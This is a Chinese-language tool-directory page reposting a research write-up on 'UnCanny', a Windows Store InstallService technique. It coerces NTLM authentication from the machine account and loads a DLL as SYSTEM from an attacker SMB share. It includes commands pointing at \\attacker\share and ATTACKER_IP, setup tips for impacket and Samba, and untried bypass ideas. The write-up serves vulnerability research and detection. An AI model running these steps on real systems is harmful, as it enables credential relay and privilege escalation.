Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
UnCanny — 另一种具备本地权限提升(LPE)能力的新强制原语——通过 Windows Store InstallService 插件解析实验,由非管理员用户对机器账户实施 NTLM 强制 | Kitploit
工具/GitHubGitHub/0xhossam/uncanny
权限提升漏洞利用横向移动论文与研究学习与教育红队Payload 开发
GitHub0xhossam/uncanny

UnCanny

另一种具备本地权限提升(LPE)能力的新强制原语——通过 Windows Store InstallService 插件解析实验,由非管理员用户对机器账户实施 NTLM 强制

查看仓库
871222个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

UNCanny Coerce

这项研究的初衷很简单,因为我想找到属于自己的强制认证(coercion)技术。一开始我在寻找新的 RPC 攻击面,但在微软加入了 RPC 活动监控(https://techcommunity.microsoft.com/blog/microsoftdefenderatpblog/microsoft-defender-now-monitors-rpc-activity/4523368)之后,我决定换一条路。

UNCanny 就是那个兔子洞的产物。由于它的局限性,我不会认为它适合真正的红队作战,但我仍然认为这些笔记值得发表,供任何在这个领域深挖的人参考。


简而言之,这个原语是:

一个普通用户向 Windows 应用商店安装服务提交一些安装元数据 -> 该服务以本地系统身份运行,为这项工作解析一个"插件" -> 解析器最终会对一个用户可影响的路径执行 LoadLibraryW -> 该路径是一个 UNC 路径 -> 以机器账户身份发起出站 NTLM 认证。

相关组件就是 Windows 应用商店安装服务的世界:InstallService.dll 承载于 InstallService.exe 中,以 NT AUTHORITY\SYSTEM 身份运行。

找到那条奇怪的攻击面

兔子洞始于 InstallService.dll。我在寻找那些会安装软件包、在重启后恢复状态、继续执行失败任务、读取本地/远程内容以及加载插件的 Windows 组件。任何同时具备这四点的东西,通常都会在某个地方存在边界混淆:

  • 它有一个近乎公开的调用方,因为普通用户态需要请求安装
  • 它有一个特权工作端,因为软件包安装/状态管理需要服务权限
  • 它有序列化,因为工作内容必须在重启后依然存在
  • 它有插件加载,因为 Windows 喜欢把简单的事情变得模块化且吓人

有意思的运行时类是:

root@kitploit:~
Windows.Internal.InstallService.Control.InstallServiceControl
IID:    e4893a99-9270-42b9-9a62-683d6ceed250
method: vtable slot 8  ->  CreateInstallServiceWork(cv, caller, _, _, propertiesJson, optionsJson, out items)

替代文本

乐趣就在那个 propertiesJson 参数里。安装行为由 JSON 字段描述,例如 FulfillmentPluginId、SourceUri、PackageFamilyName、SerializedFulfillmentData、SkipCatalogLookup、ProductId、SkuId。

起初我以为这个漏洞会是"把 UNC 路径放进 SourceUri,然后让服务去读取它"。那本来会很完美,但 Windows 并没有那么慷慨。我逆向分析了内置的 fulfillment 路径(CreateInstallServiceWorkFromBridge,位于 InstallService.dll),内置插件并不会那么做:

  • WU 会解析 JSON,然后通过 WinHTTP / 传递优化(Delivery Optimization)发出请求,绝不走 SMB。
  • ChainedWork 和 XVC 情况相同,甚至在客户端上根本不存在。
  • 一个裸的 SourceUri 要么被快速拒绝,要么被引入目录校验。CreateCatalogItemFromLocalData 虽然名字如此,实际上是从内存中的序列化 JSON 构建目录项,并不会去打开文件。

所以这个天真的想法是死路一条。这个功能非常有意思,我也正在用它做其他研究原语,这点值得明说出来,免得有人在这里浪费一个星期 :)

SYSTEM 触碰某个路径

在整个创建/恢复流程中,服务唯一会触碰受攻击者影响路径的地方就是插件激活。该函数是 PluginHelpers::ActivatePlugin。它按以下顺序解析 FulfillmentPluginId:

  1. "WU" -> 内置
  2. "ChainedWork" -> 内置
  3. 在 StaticPluginMap(HKLM)中找到的值 -> CoCreateInstance 一个 CLSID,或激活一个 WinRT 类
  4. "XVC" -> xbox 工厂
  5. 其他任何值 -> 将其视为包系列名称。 FindPackagesForUser(pfn) -> 获取该包的 InstalledLocation.Path -> LoadLibraryW( path + "\InstallServicePlugin.dll" ) -> GetProcAddress("ActivatePlugin")

分支 5 就是关键,PluginHelpers::IsPluginAvailable 也证实了这道门禁:对于任何匹配到已安装包的 FulfillmentPluginId,它都会通过完全相同的 FindPackagesForUser 查找返回 true。

替代文本

所以,如果某个 FulfillmentPluginId 指向一个 InstalledLocation 为 UNC 路径的包,那么以 SYSTEM 身份运行的 InstallService.exe 会执行:

root@kitploit:~
LoadLibraryW( \\attacker\share\InstallServicePlugin.dll )

LoadLibraryW 必须先连接到 \\attacker\share 并进行身份验证,然后才能发现 DLL 并不在那里——而这次身份验证就是强制认证,DLL 根本不需要存在。

替代文本

实际的原语

剩下的唯一问题是:"普通用户如何获得一个 InstalledLocation 为 UNC 路径的包?"答案是松散文件注册(loose-file registration),这是一种按用户进行、无需提升权限的操作:

root@kitploit:~
Add-AppxPackage -Register \\attacker\share\AppxManifest.xml

Windows 会"就地"注册该包,因此注册后的 InstalledLocation 实际上就是你指向的那个 UNC 路径。然后你用该包的系列名称作为插件 ID 来触发工作。

  1. Add-AppxPackage -Register \\attacker\share\AppxManifest.xml
  2. CreateInstallServiceWork( FulfillmentPluginId = <that package's PFN> )

调用方是普通用户,而网络身份验证用的是机器账户。

替代文本

低权限用户触发了它,机器账户完成了身份验证。执行 UNC 触碰的是 Windows 自己的加载器,而不是调用方。

通过 SMB 的强制认证

攻击者一侧

运行前需要解决两件事:

  • impacket-smbserver 报告的文件系统类型是 XTFS。AppX 会拒绝在非 NTFS 共享上注册(0x80073CFD)。把 impacket/smbserver.py 中的 FileSystemName 字段改为 NTFS。

  • 共享上需要 AppxManifest.xml、logo.png、dummy.exe。不需要 InstallServicePlugin.dll。清单中的 MaxVersionTested 必须 ≤ 目标系统构建版本(在目标上运行 winver 查看)。

你可以在 Kali 上从仓库根目录运行 poc/setup.sh。它会填充共享内容、修补 impacket,如果设置了 TARGET_IP 和 TARGET_CREDS,还会通过 smbclient 在目标上放置 poc.ps1,然后启动服务器 ;-)

然后在你的 Windows 工作站上,以低权限用户在交互式会话中执行:

root@kitploit:~
powershell -ExecutionPolicy Bypass -File poc.ps1 -AttackerHost ATTACKER_IP -Share coerce

LPE

同一个漏洞还有另一面,比强制认证更直接。如果 InstallServicePlugin.dll 确实存在于 UNC 包路径上,服务仍然会走到相同的 LoadLibraryW(\\attacker\share\InstallServicePlugin.dll) 分支,但这一次加载器会成功,DLL 会以 NT AUTHORITY\SYSTEM 身份被映射进商店安装服务进程内。

于是我非常兴奋地想为这个问题做证明,并在 lpe/ 中写了 POC。关键点不在于又一个包注册技巧,而是复用同一个已注册的松散包作为插件包。这个测试脚本(harness)用 Get-AppxPackage 获取低权限用户的包系列名称,把该 PFN 作为 FulfillmentPluginId 传入,设置 SkipCatalogLookup=true,并包含 SerializedFulfillmentData。最后一个字段很关键,因为如果跳过了目录查找却没有提供 fulfillment 数据,InstallQueue2::CreateWork 会用 0x80070057 拒绝该请求。

有一点非常重要,我在排错上花了很长时间才发现:impacket 无法提供可加载的映像。 它响应读取请求足以让机器账户完成身份验证,所以强制认证路径完全没问题,但对 impacket 共享执行 LoadLibraryW 会返回 null 并伴随 ERROR_INVALID_HANDLE,DllMain 永远不会执行。用真正的 SMB 服务器(Samba)提供完全相同的文件,加载就会成功。Samba 默认报告为 NTFS,所以松散注册仍然可以顺利通过。因此规则很简单:只想要哈希时用 impacket,想让 DLL 真正以 SYSTEM 身份执行时用 Samba!

在真实运行中,由低权限用户触发后,uncanny_lpe.txt 显示 DLL 被映射进 svchost.exe,令牌解析为 NT AUTHORITY\SYSTEM / S-1-5-18,也就是下面的截图。

lpe proof as coercelow

使用这个演示 DLL 时,CreateInstallServiceWork 仍然返回 0x800706BE,因为当服务过来请求真正的插件接口并放弃时,DllMain 早已执行过了 :-)

activateplugin loadlibrary branch

局限性

这个局限性其实正是我决定公开这项技术的原因——必须启用开发人员模式(Developer Mode)才能实施。 整个方法取决于 InstalledLocation.Path 是一个 UNC 路径,而经过大量时间的深挖,我只找到一种实现方式。正常的签名安装会把包复制到 C:\Program Files\WindowsApps\...,并在那里设置 InstalledLocation,那始终是本地路径。

我找到的、唯一能让文件保持原位置(包括 UNC 共享上)的注册路径,就是松散文件注册(Add-AppxPackage -Register <manifest>)。这正是开发人员模式(HKLM\...\AppModelUnlock 下的 AllowDevelopmentWithoutDevLicense)解锁的功能。它被设限也是有道理的。松散注册基本上是从位于你控制位置的任意未签名文件创建出一个受信任的包标识,完全绕开了正常的商店和签名信任模型。正因如此,必须启用开发人员模式,而这目前是这项技术最大的局限性。

有趣的是,InstallService 这一侧其实并不在意——一旦这样的包存在,ActivatePlugin 的分支 5 就会愉快地对它收到的任何 InstalledLocation.Path 调用 LoadLibraryW。整个问题在于,首先要设法在不使用开发人员模式的情况下,得到一个安装位置指向 UNC 路径的包。

于是,我开始逆向那些护栏,寻找另一条进入的路。

开发人员模式检查根本不在 InstallService 内部。它位于 AppX 部署栈(AppXDeploymentServer.dll 和部署许可策略)中,最终读取由管理员控制的 HKLM\...\AppModelUnlock。普通用户在那里没有任何可以翻转的开关。

我还追查过一个看似明显的绕过方式,比如旁加载(sideloading)。

我在启用旁加载、禁用开发人员模式(IsSideloadingEnabled=1,IsDeveloperModeEnabled=0)的情况下测试了它。松散注册立即失败,并报错说包来源是 Unsigned,且无法应用有效的许可证或旁加载策略。

还有几条我尚未完全排除的路径,如果你想深挖可以试试:

  • StaticPluginMap 结合 COM 搜索顺序劫持
  • -ExternalLocation 和外部包内容
  • 符号链接(symlinks)或目录联接(junctions)
  • 通过 HKCU\...\CLSID 进行按用户的 COM 劫持

检测?

Elastic 大概一天之内就会把它覆盖掉。


  • 我对这些信息的用途不承担责任。说到底,这项研究是以教育目的发布的,同时也许有助于加深对攻击面的理解。
下载工具